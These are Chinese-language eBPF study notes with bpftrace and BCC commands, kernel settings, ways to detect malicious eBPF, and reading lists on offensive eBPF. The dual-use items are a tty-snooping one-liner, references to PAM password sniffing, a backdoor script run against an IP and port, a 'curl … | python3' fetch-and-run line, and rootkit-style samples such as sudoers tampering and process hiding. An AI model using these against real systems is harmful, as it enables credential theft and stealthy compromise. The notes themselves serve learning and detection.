标题: eBPF入门文献汇总
创建: 2022-12-05 16:08 更新: 2022-12-06 22:42 链接: https://scz.617.cn/unix/202212051608.txt
目录:
☆ eBPF
1) bpftrace
1.1) 查看安装版bpftrace版本
1.2) 自编译bpftrace
1.3) tracepoint:*
1.3.1) tracepoint:syscalls:*
1.3.2) tracepoint:raw_syscalls:*
1.4) kprobe:*/kretprobe:*
1.4.1) BTF
1.4.2) override (修改返回值)
1.4.2.1) Inside override
1.4.2.2) connect_block.bt
1.4.3) kprobe:some+off
1.5) uprobe:*/uretprobe:*
1.5.2) uprobe:some+off
1.5.3) uprobe:addr
1.5.4) int3
1.5.5) endbr64
1.6) kfunc:*/kretfunc:*
1.9) bpftrace自带.bt
2) BCC
2.1) bpfcc-tools自带.py
2.1.1) bcc tools (git版)
2.2) ttysnoop
3) BPF Performance Tools
4) unprivileged_bpf_disabled
5) Offensive BPF
5.5) 检测恶意eBPF
5.5.1) bpftool
5.5.2) crash
5.5.3) bpf_probe_write_user
5.6) 嗅探口令明文
6) Bad BPF
6.2) 示例
7) libbpf (eBPF loader)
7.1) arg0 type FWD is not a struct
7.2) connect_block.bpf.c
7.2.1) bpf_strncmp
7.3) pamsnoop.bpf.c
7.4) 基于eBPF的后门口令
7.4.2) _unix_verify_password
7.4.4) 用stap查看相关函数调用栈回溯
7.4.5) verify_pwd_hash
7.4.6) pamtamper.bpf.c
7.4.7) 用ftrace/uprobe_events嗅探明文口令
7.4.8) 基于pam_permit.so的后门
7.5) ttysnoop.bpf.c
8) libbpf-bootstrap
8.1) 编译
8.2) eBPF代码兼容性
9) 其他文献
10) eBPF入门小结
☆ eBPF
2022.9.26之前,我对eBPF一无所知,历史上用于抓包的BPF不算。后来陆续看了很多 eBPF文献,算是入了门,写点入门心得。
eBPF最近几年发展迅速,许多新特性挑内核,有些过时的eBPF限制没必要与之较劲, 入门时完全可以在较新内核上学习,比较熟了再去生产环境考虑向后兼容性。我在 Ubuntu 22.04.1 LTS (Jammy Jellyfish)上测试eBPF,5.15.0-52-generic内核,这 个内核版本已经较高,即便如此,仍有一些eBPF新特性未被支持。
1) bpftrace
入门最好从bpftrace开始,遍历如下文献,不要挑着看,全都看一遍,没必要零敲碎 打地看其他的。
https://github.com/iovisor/bpftrace https://github.com/iovisor/bpftrace/tree/master/tools
自编译bpftrace https://github.com/iovisor/bpftrace/blob/master/INSTALL.md (有讲Disable Lockdown)
The bpftrace One-Liner Tutorial https://github.com/iovisor/bpftrace/blob/master/docs/tutorial_one_liners.md
bpftrace Reference Guide https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md
bpftrace(8) Manual Page https://github.com/iovisor/bpftrace/blob/master/man/adoc/bpftrace.adoc
bpftrace(8) https://manpages.ubuntu.com/manpages/focal/en/man8/bpftrace.bt.8.html
bpftrace Cheat Sheet https://www.brendangregg.com/BPF/bpftrace-cheat-sheet.html
1.1) 查看安装版bpftrace版本
$ bpftrace --version bpftrace v0.14.0
$ bpftrace --info |& grep version version: v0.14.0
$ dpkg -l bpftrace | grep ^ii ii bpftrace 0.14.0-1 amd64 high-level tracing language for Linux eBPF
$ apt-cache show bpftrace | grep Version Version: 0.14.0-1
1.2) 自编译bpftrace
遍历
https://github.com/iovisor/bpftrace/blob/master/INSTALL.md
《Ubuntu 22上自编译bpftrace》 https://scz.617.cn/unix/202210221758.txt
自编译的bpftrace支持"(k|u)probe:some+off"
1.3) tracepoint:*
遍历
bpftrace Reference Guide https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md
bpftrace -l 'tracepoint:' | less bpftrace -l 'tracepoint:' | wc -l
1607个
还可用perf工具查看
perf list | grep Tracepoint | less perf list | grep Tracepoint | wc -l
1602个
1.3.1) tracepoint:syscalls:*
bpftrace -l 'tracepoint:syscalls:' | less bpftrace -l 'tracepoint:syscalls:' | wc -l
686个
$ bpftrace -lv 'tracepoint:syscalls:sys_enter_openat' tracepoint:syscalls:sys_enter_openat int __syscall_nr int dfd const char * filename int flags umode_t mode
bpftrace -e 'tracepoint:syscalls:sys_enter_openat /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(args->filename))}' \ cat
cat (97060) -> /etc/ld.so.cache cat (97060) -> /lib/x86_64-linux-gnu/libc.so.6 cat (97060) -> /usr/lib/locale/locale-archive cat (97060) -> /etc/hosts
1.3.2) tracepoint:raw_syscalls:*
$ bpftrace -lv 'tracepoint:raw_syscalls:*' tracepoint:raw_syscalls:sys_enter long id unsigned long args[6] tracepoint:raw_syscalls:sys_exit long id long ret
只有2个
$ grep "__NR_open" /usr/include/asm/unistd_64.h
define __NR_open 2
define __NR_openat 257
define __NR_open_by_handle_at 304
define __NR_open_tree 428
define __NR_openat2 437
bpftrace -e 'tracepoint:raw_syscalls:sys_enter /(args->id == 257 || args->id == 437) && comm == str($1)/ {printf("%s (%d) -> [%d] %s\n",comm,pid,args->id,str(uptr(args->args[1])))}' \ cat
cat (97947) -> [257] /etc/ld.so.cache cat (97947) -> [257] /lib/x86_64-linux-gnu/libc.so.6 cat (97947) -> [257] /usr/lib/locale/locale-archive cat (97947) -> [257] /etc/hosts
1.4) kprobe:/kretprobe:
bpftrace -l 'kprobe:' | less bpftrace -l 'kprobe:' | wc -l
bpftrace -l 'kretprobe:' | less bpftrace -l 'kretprobe:' | wc -l
52464个,"kprobe:"比"tracepoint:"多多了。
与"tracepoint:"不同,无法用"bpftrace -lv"查看"kprobe:"的参数,但有其他办 法间接知道参数。可以查看相应的"kfunc:*",会自动利用BTF;可以借助stap快速查 看参数;或直接查看内核源码。
$ bpftrace -lv 'kfunc:do_sys_openat2' kfunc:do_sys_openat2 int dfd const char * filename struct open_how * how long int retval
$ stap -L 'kernel.function("do_sys_openat2")' kernel.function("do_sys_openat2@/build/linux-kQ6jNR/linux-5.15.0/fs/open.c:1199") $dfd:int $filename:char const $how:struct open_how $op:struct open_flags
"kprobe:do_sys_openat2"无法用dfd、filename、how,但可以用arg0、arg1、arg2 访问之。
bpftrace -e 'kprobe:do_sys_openat2 /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(uptr(arg1)))}' \ cat
cat (97121) -> /etc/ld.so.cache cat (97121) -> /lib/x86_64-linux-gnu/libc.so.6 cat (97121) -> /usr/lib/locale/locale-archive cat (97121) -> /etc/hosts
单行内容较长时,可以指定较大的BPFTRACE_STRLEN
BPFTRACE_STRLEN=200 \ bpftrace -e 'kprobe:do_sys_openat2 {printf("%s (%d) -> %s\n",comm,pid,str(uptr(arg1)))}'
1.4.1) BTF
$ grep _BTF /boot/config-$(uname -r) CONFIG_VIDEO_SONY_BTF_MPX=m CONFIG_DEBUG_INFO_BTF=y CONFIG_PAHOLE_HAS_SPLIT_BTF=y CONFIG_DEBUG_INFO_BTF_MODULES=y
若有BTF可用,bpftrace可以查看"kfunc:vfs_open"、"struct path"
$ bpftrace -lv 'kfunc:vfs_open' kfunc:vfs_open const struct path * path struct file * file int retval
$ bpftrace -lv "struct path" struct path { struct vfsmount mnt; struct dentry dentry; };
1.4.2) override (修改返回值)
$ grep -E '(CONFIG_BPF_KPROBE_OVERRIDE|CONFIG_FUNCTION_ERROR_INJECTION)=' /boot/config-$(uname -r) CONFIG_BPF_KPROBE_OVERRIDE=y CONFIG_FUNCTION_ERROR_INJECTION=y
与stap不同,无法用bpftrace修改devmem_is_allowed返回值,按官方文档说法
This feature only works on functions tagged ALLOW_ERROR_INJECTION.
1.4.2.1) Inside override
参看
bpf-helpers(7) https://man7.org/linux/man-pages/man7/bpf-helpers.7.html
底层有个bpf_override_return,可以这样用
int kprobe__should_failslab ( void *ctx ) { bpf_override_return( ctx, -ENOMEM ); return 0; }
对于"kprobe:func",bpf_override_return使得整个函数体被跳过,立即返回指定值。 只能用于kprobe,不能用于kretprobe、kfunc、uprobe。
位于某个白名单中的"kprobe:func"才能调用bpf_override_return,若不在白名单中, 调用bpf_override_return时会报错
ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument
bpftrace的override()是对bpf_override_return的封装。前述白名单对应全局变量 error_injection_list
$ grep error_injection_list /proc/kallsyms ffffffffa0075b70 t populate_error_injection_list ffffffffa0075e00 T within_error_injection_list ffffffffa0731dd2 t populate_error_injection_list.cold ffffffffa1ac0c20 d error_injection_list
可用crash遍历error_injection_list,显示位于白名单范围的内核函数名。
1.4.2.2) connect_block.bt
练习题,拦截connect系统调用,对pid、comm、ip、mask、port进行过滤,调用 override(),达到黑白名单效果,简易应用防火墙。
1.4.3) kprobe:some+off
需要自编译bpftrace,使得"bpftrace --info"看到"bfd: yes",才能支持 "(k|u)probe:some+off","bfd: no"不支持。
$ /home/scz/src/bpftrace_scz/build/src/bpftrace --version bpftrace v0.16.0-32-gcf34
$ gdb -q -nx --batch -ex 'x/10i do_sys_openat2' /usr/lib/debug/boot/vmlinux-$(uname -r)
0xffffffff81389920
/home/scz/src/bpftrace_scz/build/src/bpftrace \ -e 'kprobe:do_sys_openat2+26 /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(uptr(reg("r14"))))}' \ cat
cat (34438) -> /etc/ld.so.cache cat (34438) -> /lib/x86_64-linux-gnu/libc.so.6 cat (34438) -> /usr/lib/locale/locale-archive cat (34438) -> /etc/hosts
1.5) uprobe:/uretprobe:
bpftrace -l 'uprobe:/usr/bin/bash:' | less bpftrace -l 'uprobe:/usr/bin/bash:' | wc -l
bpftrace -l 'uretprobe:/lib/x86_64-linux-gnu/libc.so.6:' | less bpftrace -l 'uretprobe:/lib/x86_64-linux-gnu/libc.so.6:' | wc -l
BPFTRACE_STRLEN=200 bpftrace -e 'uprobe:libc:fopen {printf("%s (%d) -> %s\n",comm,pid,str(arg0))}'
systemd-oomd (578) -> /proc/meminfo systemd-oomd (578) -> /sys/fs/cgroup/user.slice/user-0.slice/[email protected]/memory.pressure systemd-oomd (578) -> /sys/fs/cgroup/user.slice/user-0.slice/[email protected]/memory.current
bpftrace -e 'uretprobe:/usr/bin/bash:readline {printf("%s (%d) -> [%s]\n",comm,pid,str(retval))}'
bash (40203) -> [cat /etc/hosts]
bpftrace的"uretprobe:*"底层用ftrace的uprobe_events。uretprobe安装的Hook位 于call之后,而不是readline的ret指令所在,这使得uretprobe的reg("ip")不固定。
1.5.2) uprobe:some+off
$ gdb -q -nx --batch -ex 'x/10i __libc_open64' /lib/x86_64-linux-gnu/libc.so.6 0x114690 <__libc_open64>: endbr64 0x114694 <__libc_open64+4>: push %r12 0x114696 <__libc_open64+6>: mov %esi,%r10d 0x114699 <__libc_open64+9>: mov %esi,%r12d 0x11469c <__libc_open64+12>: push %rbp 0x11469d <__libc_open64+13>: mov %rdi,%rbp 0x1146a0 <__libc_open64+16>: sub $0x68,%rsp 0x1146a4 <__libc_open64+20>: mov %rdx,0x40(%rsp) 0x1146a9 <__libc_open64+25>: mov %fs:0x28,%rax 0x1146b2 <__libc_open64+34>: mov %rax,0x28(%rsp)
/home/scz/src/bpftrace_scz/build/src/bpftrace \ -e 'uprobe:libc:__libc_open64+34 /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(uptr(reg("bp"))));print(ustack(perf))}' \ cat
cat (100905) -> /etc/hosts
7eff0a08c6b2 0x7eff0a08c6b2 ([unknown])
4c4c454853007374 0x4c4c454853007374 ([unknown])
ustack实在太弱鸡,毫无用处。
1.5.3) uprobe:addr
gdb -q -nx --batch \ -ex "set disassembly-flavor intel" \ -ex 'disassemble /r __open' \ /lib/x86_64-linux-gnu/libc.so.6
gdb -q -nx --batch \ -ex "set disassembly-flavor intel" \ -ex 'disassemble /r __open,+39' \ /lib/x86_64-linux-gnu/libc.so.6
0x0000000000114690 <+0>: f3 0f 1e fa endbr64 0x0000000000114694 <+4>: 41 54 push r12 0x0000000000114696 <+6>: 41 89 f2 mov r10d,esi 0x0000000000114699 <+9>: 41 89 f4 mov r12d,esi 0x000000000011469c <+12>: 55 push rbp 0x000000000011469d <+13>: 48 89 fd mov rbp,rdi 0x00000000001146a0 <+16>: 48 83 ec 68 sub rsp,0x68 0x00000000001146a4 <+20>: 48 89 54 24 40 mov QWORD PTR [rsp+0x40],rdx 0x00000000001146a9 <+25>: 64 48 8b 04 25 28 00 00 00 mov rax,QWORD PTR fs:0x28 0x00000000001146b2 <+34>: 48 89 44 24 28 mov QWORD PTR [rsp+0x28],rax
"uprobe:addr"中"addr"就是0x1146b2这类地址,也即IDA中Rebase之前看到的地址。 bpftrace自动处理ASLR,千万不要自作聪明手工处理ASLR。
正常使用"uprobe:addr"时,无需指定"--unsafe",除非addr不在正常指令边界上。
可以用"uretprobe:addr",只要在addr处能取得栈上的RetAddr,最终Hook RetAddr, 而非Hook ret指令所在。
1.5.4) int3
uprobe、uretprobe在指定位置实际写入int3(0xcc)
bpftrace -e 'uretprobe:/usr/bin/bash:readline {printf("%s (%d) -> [%s]\n",comm,pid,str(retval))}'
bash (28400) -> [cat /etc/hosts]
gdb -q -nx -x ./gdbinit_x64.txt -x ./gdbhelper.py \ --batch -ex 'disassemble /r readline,+4' \ -ex 'xxd readline 0x10' -p 28400
0x000055839f430690
55839f430690: cc 0f 1e fa 41 54 53 48 83 ec 08 48 8d 05 16 81 ....ATSH...H....
从kernel 3.3开始,无需PTRACE_ATTACH即可读取/proc/[pid]/mem,于是dd、xxd等 工具可直接转储、查看目标进程空间。
$ xxd -s $[0x55839f430690] -l 16 -g 1 /proc/28400/mem 55839f430690: cc 0f 1e fa 41 54 53 48 83 ec 08 48 8d 05 16 81 ....ATSH...H....
bpftrace运行时,readline函数首字节被替换成0xcc,即int3,原本此处是endbr64。
$ objdump -j .text --disassemble=readline /usr/bin/bash | less ... 00000000000d5690 readline@@Base: d5690: f3 0f 1e fa endbr64 d5694: 41 54 push %r12 d5696: 53 push %rbx ...
1.5.5) endbr64
参看
What does the endbr64 instruction actually do - [2019-07-05] https://stackoverflow.com/questions/56905811/what-does-the-endbr64-instruction-actually-do
《endbr64指令用途》 https://scz.617.cn/misc/202109171549.txt
1.6) kfunc:/kretfunc:
$ bpftrace --info 2>&1 | grep kfunc bpf_attach_kfunc: yes kfunc: yes
bpftrace -l 'kfunc:' | less bpftrace -l 'kfunc:' | wc -l
bpftrace -l 'kretfunc:' | less bpftrace -l 'kretfunc:' | wc -l
44646个。与kprobe、kretprobe不同,kfunc、kretfunc自动使用BTF。
$ bpftrace -lv 'kfunc:do_sys_openat2' kfunc:do_sys_openat2 int dfd const char * filename struct open_how * how long int retval
bpftrace -e 'kfunc:do_sys_openat2 /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(uptr(args->filename)))}' \ cat
cat (98003) -> /etc/ld.so.cache cat (98003) -> /lib/x86_64-linux-gnu/libc.so.6 cat (98003) -> /usr/lib/locale/locale-archive cat (98003) -> /etc/hosts
1.9) bpftrace自带.bt
dpkg -L bpftrace | grep .bt$
这些比较有意思
/usr/sbin/bashreadline.bt /usr/sbin/execsnoop.bt /usr/sbin/killsnoop.bt /usr/sbin/opensnoop.bt /usr/sbin/setuids.bt
2) BCC
bpftrace简捷明了,但对bpf-helpers(7)的封装不完整,没有bpf_probe_write_user。 BCC Python Bindings相比bpftrace,能实现更多功能,遍历如下文献。BCC编程细节 不在此介绍,看完下面这堆自然就会。
BPF Compiler Collection (BCC) https://github.com/iovisor/bcc https://github.com/iovisor/bcc/tree/master/tools (aptitude install bpfcc-tools) (git版本更新、更强大)
bcc Tutorial https://github.com/iovisor/bcc/blob/master/docs/tutorial.md
bcc Reference Guide https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md
bcc Python Developer Tutorial https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md
bpf-helpers(7) https://man7.org/linux/man-pages/man7/bpf-helpers.7.html
Learn eBPF Tracing: Tutorial and Examples - Brendan Gregg [2019-01-01] https://www.brendangregg.com/blog/2019-01-01/learn-ebpf-tracing.html
2.1) bpfcc-tools自带.py
dpkg -L bpfcc-tools | grep .py$ | less dpkg -L bpfcc-tools | grep -- '-bpfcc$' | less
这些比较有意思
/usr/share/doc/bpfcc-tools/examples/tracing/stacksnoop.py
/usr/sbin/bashreadline-bpfcc /usr/sbin/bindsnoop-bpfcc /usr/sbin/bpflist-bpfcc /usr/sbin/execsnoop-bpfcc /usr/sbin/exitsnoop-bpfcc /usr/sbin/inject-bpfcc /usr/sbin/killsnoop-bpfcc /usr/sbin/sslsniff-bpfcc /usr/sbin/tplist-bpfcc /usr/sbin/trace-bpfcc /usr/sbin/ttysnoop-bpfcc
比如
python3 /usr/share/doc/bpfcc-tools/examples/tracing/stacksnoop.py \ -s -v do_sys_openat2
2.1.1) bcc tools (git版)
相比"aptitude install bpfcc-tools",git版本更新、更强大
https://github.com/iovisor/bcc/tree/master/tools https://github.com/iovisor/bcc/blob/master/tools/inject.py https://github.com/iovisor/bcc/blob/master/tools/inject_example.txt https://github.com/iovisor/bcc/blob/master/tools/trace.py https://github.com/iovisor/bcc/blob/master/tools/trace_example.txt https://github.com/iovisor/bcc/blob/master/tools/sslsniff.py https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt
有bpftrace的情况下trace.py无特别优势,并不推荐
2.2) ttysnoop
Ubuntu 22上tty_write的函数原型已经变成
static ssize_t tty_write(struct kiocb iocb, struct iov_iter from)
寻找引入上述函数原型的commit
cd /mnt/z/work/linux git log -S "static ssize_t tty_write(struct kiocb iocb, struct iov_iter from)"
commit 9bb48c82aced07698a2d08ee0f1475a6c4f6b266 Author: Linus Torvalds torvalds@linux-foundation.org Date: Tue Jan 19 11:41:16 2021 -0800
tty: implement write_iter
This makes the tty layer use the .write_iter() function instead of the
traditional .write() functionality.
查看指定commit
https://github.com/torvalds/linux/commit/9bb48c82aced
在这个页面上直接看到最早引入指定commit的内核版本,本例是v5.11-rc5。从前述 commit看到之前的函数原型
static ssize_t tty_write(struct file file, const char __user buf, size_t count, loff_t *ppos)
某些ttysnoop针对旧版函数原型编写,比如ttysnoop-bpfcc,已不适用于新版内核, 对此有多种修改方案。
新版tty_write最终会调用n_tty_write,后者函数原型如下
static ssize_t n_tty_write(struct tty_struct tty, struct file file, const unsigned char *buf, size_t nr)
据此实现最简ttysnoop,下例实际监听/dev/pts/3
BPFTRACE_STRLEN=200 \ bpftrace -e 'kfunc:n_tty_write /args->tty->name == str($1)/ {printf("%s",str(args->buf,args->nr))}' \ pts3
假设6是/dev/pts/3的inode号,下例同样可以进行ttysnoop
BPFTRACE_STRLEN=200 \ bpftrace -e 'kfunc:tty_write /args->iocb->ki_filp->f_inode->i_ino == $1/ {printf("%s",str(uptr(args->from->iov->iov_base),args->from->iov->iov_len))}' \ 6
参看
https://github.com/iovisor/bcc/blob/master/tools/ttysnoop.py
Brendan Gregg在此提供了兼容性更好的ttysnoop实现,可用于Ubuntu 22。
3) BPF Performance Tools
参看
BPF Performance Tools https://github.com/brendangregg/bpf-perf-tools-book
这是《BPF Performance Tools: Linux and Application Observability》的配套工 具集。
cd /home/scz/src/ git clone https://github.com/brendangregg/bpf-perf-tools-book.git
cd /home/scz/src/bpf-perf-tools-book/originals/Ch06_CPUs/
bpftrace execsnoop.bt // tracepoint:syscalls:sys_enter_execve
cd /home/scz/src/bpf-perf-tools-book/originals/Ch08_FileSystems/
BPFTRACE_STRLEN=200 bpftrace opensnoop.bt // tracepoint:syscalls:sys_exit_openat BPFTRACE_STRLEN=200 bpftrace statsnoop.bt // tracepoint:syscalls:sys_exit_newlstat
cd /home/scz/src/bpf-perf-tools-book/originals/Ch10_Networking/
bpftrace soaccept.bt // 取源IP、源PORT // tracepoint:syscalls:sys_exit_accept bpftrace tcpaccept-tp.bt // 同时取四元组 // tracepoint:sock:inet_sock_set_state bpftrace tcpaccept.bt // 同时取四元组 // kretprobe:inet_csk_accept bpftrace soconnect.bt // 取目标IP、目标PORT // tracepoint:syscalls:sys_exit_connect bpftrace tcpconnect-tp.bt // 取SADDR、DADDR、DPORT // tracepoint:sock:inet_sock_set_state // 有时不如soconnect.bt bpftrace udpconnect.bt // 取目标IP、目标PORT // kprobe:ip4_datagram_connect
cd /home/scz/src/bpf-perf-tools-book/originals/Ch11_Security/
bpftrace bashreadline.bt // uretprobe:/bin/bash:readline bpftrace elfsnoop.bt // kretprobe:load_elf_binary bpftrace modsnoop.bt // kprobe:do_init_module // 可以看到stap加载模块 bpftrace setuids.bt // tracepoint:syscalls:sys_exit_setresuid bpftrace shellsnoop.bt 40203 // tracepoint:syscalls:sys_enter_write // 效果不错 python3 shellsnoop.py 40203 // from bcc import BPF // 输出不直观 bpftrace tcpreset.bt // kprobe:tcp_v4_send_reset
cd /home/scz/src/bpf-perf-tools-book/originals/Ch13_Applications/
bpftrace killsnoop.bt // tracepoint:syscalls:sys_exit_kill
4) unprivileged_bpf_disabled
参看
https://www.kernel.org/doc/html/latest/admin-guide/sysctl/kernel.html
cat /proc/sys/kernel/unprivileged_bpf_disabled
0 Unprivileged calls to bpf() are enabled 1 Unprivileged calls to bpf() are disabled without recovery 2 Unprivileged calls to bpf() are disabled
Ubuntu 22中该值缺省为2,这样修改
sysctl -qnw kernel.unprivileged_bpf_disabled=0 echo 0 > /proc/sys/kernel/unprivileged_bpf_disabled
5) Offensive BPF
遍历这个系列
Offensive BPF https://embracethered.com/blog/tags/ebpf/ https://embracethered.com/blog/posts/2021/offensive-bpf/ https://github.com/wunderwuzzi23/Offensive-BPF/
Offensive BPF: Malicious bpftrace - wunderwuzzi [2021-10-05] https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/
Offensive BPF: Using bpftrace to host backdoors - wunderwuzzi [2021-10-06] https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace-message-based/
Offensive BPF: Detection Ideas - wunderwuzzi [2021-10-07] https://embracethered.com/blog/posts/2021/offensive-bpf-detections-initial-ideas/
Offensive BPF: What's in the bpfcc-tools box - wunderwuzzi [2021-10-09] https://embracethered.com/blog/posts/2021/offensive-bpf-handy-tools/
Offensive BPF: Sniffing Firefox traffic with bpftrace - wunderwuzzi [2021-10-14] https://embracethered.com/blog/posts/2021/offensive-bpf-sniffing-traffic-bpftrace/
Offensive BPF: Understanding and using bpf_probe_write_user - wunderwuzzi [2021-10-20] https://embracethered.com/blog/posts/2021/offensive-bpf-libbpf-bpf_probe_write_user/ (纯C调用bpf_probe_write_user,非BCC Python Bindings,libbfp编程)
Offensive BPF: Using bpftrace to sniff PAM logon passwords - wunderwuzzi [2022-07-10] https://embracethered.com/blog/posts/2022/offensive-bpf-bpftrace-sniff-logon-pam-passwords/ https://github.com/wunderwuzzi23/Offensive-BPF/blob/main/bpftrace/pamsnoop.bt https://github.com/linux-pam/linux-pam/blob/master/libpam/pam_private.h https://man7.org/linux/man-pages/man3/pam_get_authtok.3.html
5.5) 检测恶意eBPF
假设正在执行
/home/scz/src/bpftrace_scz/build/src/bpftrace --unsafe evil_accept.bt 192.168.65.1 54321
bpftool prog | grep tracepoint -A 3
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog | grep tracepoint -A 3
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool --pretty prog show id
5.5.1) bpftool
参看bpftool(8)、bpftool-prog(8)、bpftool-btf(8)
安装版bpftool功能可能有缺失,需要自编译bpftool
cd /home/scz/src/kernel tar xfj linux-5.15.0-52.58.tar.bz2 chmod +x /home/scz/src/kernel/linux-5.15.0-52.58/scripts/pahole-flags.sh cd /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool make
$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool version -p { "version": "5.15.60", "features": { "libbfd": true, "skeletons": true } }
对比Ubuntu 22中安装版bpftool
$ bpftool version -p { "version": "5.15.60", "features": { "libbfd": false, "skeletons": false } }
假设正在执行
/home/scz/src/bpftrace_scz/build/src/bpftrace --unsafe evil_accept.bt 192.168.65.1 54321
用如下命令查看evil_accept.bt安装的tracepoint
$ bpftool prog | grep tracepoint -A 3 ... 495: tracepoint name sys_exit_accept tag 088a6e384aea6d85 gpl loaded_at 2022-11-12T21:17:34+0800 uid 0 xlated 1696B jited 1061B memlock 4096B map_ids 478,479
自编译bpftool可以获取PID信息
$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog | grep bpftrace -B 3 ... 495: tracepoint name sys_exit_accept tag 088a6e384aea6d85 gpl loaded_at 2022-11-12T21:17:34+0800 uid 0 xlated 1696B jited 1061B memlock 4096B map_ids 478,479 pids bpftrace(62009)
$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool --pretty prog show id 495 { "id": 495, "type": "tracepoint", "name": "sys_exit_accept", "tag": "088a6e384aea6d85", "gpl_compatible": true, "loaded_at": 1668259054, "uid": 0, "bytes_xlated": 1696, "jited": true, "bytes_jited": 1061, "bytes_memlock": 4096, "map_ids": [478,479 ], "pids": [{ "pid": 62009, "comm": "bpftrace" } ] }
显示指定id的BPF指令
$ bpftool prog dump xlated id 495 0: (bf) r6 = r1 1: (85) call bpf_get_current_pid_tgid#162864 2: (67) r0 <<= 32 3: (77) r0 >>= 32 ... 209: (85) call htab_map_delete_elem#184720 210: (b7) r0 = 1 211: (95) exit
显示指定id每条BPF指令的完整字节码
$ bpftool prog dump xlated id 495 opcodes ... 209: (85) call htab_map_delete_elem#184720 85 00 00 00 90 d1 02 00 210: (b7) r0 = 1 b7 00 00 00 01 00 00 00 211: (95) exit 95 00 00 00 00 00 00 00
显示提定id的JIT汇编指令
$ bpftool prog dump jited id 495 Error: No libbfd support
报错表明Ubuntu 22中安装版bpftool不支持libbfd,搜到一句话
We don't and can't link with libbfd because of licence incompatibility.
需要自编译bpftool
$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id 495 bpf_prog_088a6e384aea6d85_sys_exit_accept: 0: nopl 0x0(%rax,%rax,1) 5: xchg %ax,%ax 7: push %rbp ... 416: call 0xffffffffcde80958 41b: mov $0x1,%eax 420: jmp 0x000000000000005c
显示指定id每条汇编指令的完整机器码
$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id 495 opcodes ... 416: call 0xffffffffcde80958 e8 3d 05 e8 cd 41b: mov $0x1,%eax b8 01 00 00 00 420: jmp 0x000000000000005c e9 37 fc ff ff
从BTF中析取C语言格式的类型定义
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
5.5.2) crash
crash也可查看eBPF信息
crash -e emacs /usr/lib/debug/boot/vmlinux-$(uname -r) /proc/kcore
crash> bpf | grep TRACEPOINT 772 ffffabca006f1000 ffff96a06fa52c00 TRACEPOINT 9338d6ba6d4d0ad9 569 773 ffffabca00075000 ffff96a06fa51000 TRACEPOINT 9338d6ba6d4d0ad9 569 774 ffffabca0007d000 ffff96a06fa50400 TRACEPOINT 088a6e384aea6d85 569,570 775 ffffabca000b3000 ffff96a06fa51400 TRACEPOINT 088a6e384aea6d85 569,570
-t查看bytecode,-j查看jit结果,但不知用crash如何找出PID
crash> bpf -p 774 -tj ID BPF_PROG BPF_PROG_AUX BPF_PROG_TYPE TAG USED_MAPS 774 ffffabca0007d000 ffff96a06fa50400 TRACEPOINT 088a6e384aea6d85 569,570 XLATED: 1696 JITED: 1061 MEMLOCK: 4096 LOAD_TIME: Tue Nov 01 14:40:48 2022 GPL_COMPATIBLE: yes NAME: "sys_exit_accept" UID: 0
0xffffffffc03a7aa0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc03a7aa5: xchg ax,ax ... 0xffffffffc03a7ec0: jmp 0xffffffffc03a7afc
0: (bf) r6 = r1 1: (85) call bpf_get_current_pid_tgid#162864 ... 209: (85) call htab_map_delete_elem#184720 210: (b7) r0 = 1 211: (95) exit
5.5.3) bpf_probe_write_user
bpf_probe_write_user比较敏感,调用它时会额外产生日志
$ grep bpf_probe_write_user /var/log/syslog | less Nov 10 16:13:29 Ubuntu-22 kernel: [325428.979060] python3[43143] is installing a program with bpf_probe_write_user helper that may corrupt user memory!
$ dmesg | grep bpf_probe_write_user | less [325428.979060] python3[43143] is installing a program with bpf_probe_write_user helper that may corrupt user memory!
理论上可以拦截syslog(2)消掉这些日志,未实践。
5.6) 嗅探口令明文
通过pam_get_authtok第三形参authtok可获取SSH登录和su输入的明文口令,参看
https://github.com/wunderwuzzi23/Offensive-BPF/blob/main/bpftrace/pamsnoop.bt
6) Bad BPF
遍历
Detecting Kernel Hooking using eBPF - Pat H [2021-07-07] https://blog.tofile.dev/2021/07/07/ebpf-hooks.html (介绍BPF-HookDetect的原理,用到bpf_get_stackid)
BPF-HookDetect https://github.com/pathtofile/bpf-hookdetect (Detect Kernel Rootkits hooking syscalls)
Using eBPF to uncover in-memory loading - Pat H [2021-02-15] https://blog.tofile.dev/2021/02/15/ebpf-01.html (有个从内存中加载ELF的完整例子) (curl https://elf | python3 -c)
BPF-PipeSnoop https://github.com/pathtofile/bpf-pipesnoop (using eBPF to log data being based in using shell pipes)
DEF CON 29: Bad BPF - Warping reality using eBPF - Pat H [2021-08-01] https://blog.tofile.dev/2021/08/01/bad-bpf.html
Bad BPF https://github.com/pathtofile/bad-bpf https://github.com/pathtofile/bad-bpf/blob/main/src/writeblocker.bpf.c (A collection of malicious eBPF programs)
6.2) 示例
/home/scz/src/bad-bpf-scz/src/bin
bpfdos // sys_enter_ptrace // bpf_send_signal exechijack // sys_enter_execve // bpf_probe_write_user pidhide // sys_enter_getdents64 // bpf_tail_call、bpf_probe_write_user sudoadd // sys_enter_openat sys_enter_read /etc/sudoers // bpf_probe_write_user writeblocker // __x64_sys_write textreplace // sys_enter_openat sys_enter_read textreplace2 // 一个更高级的示例
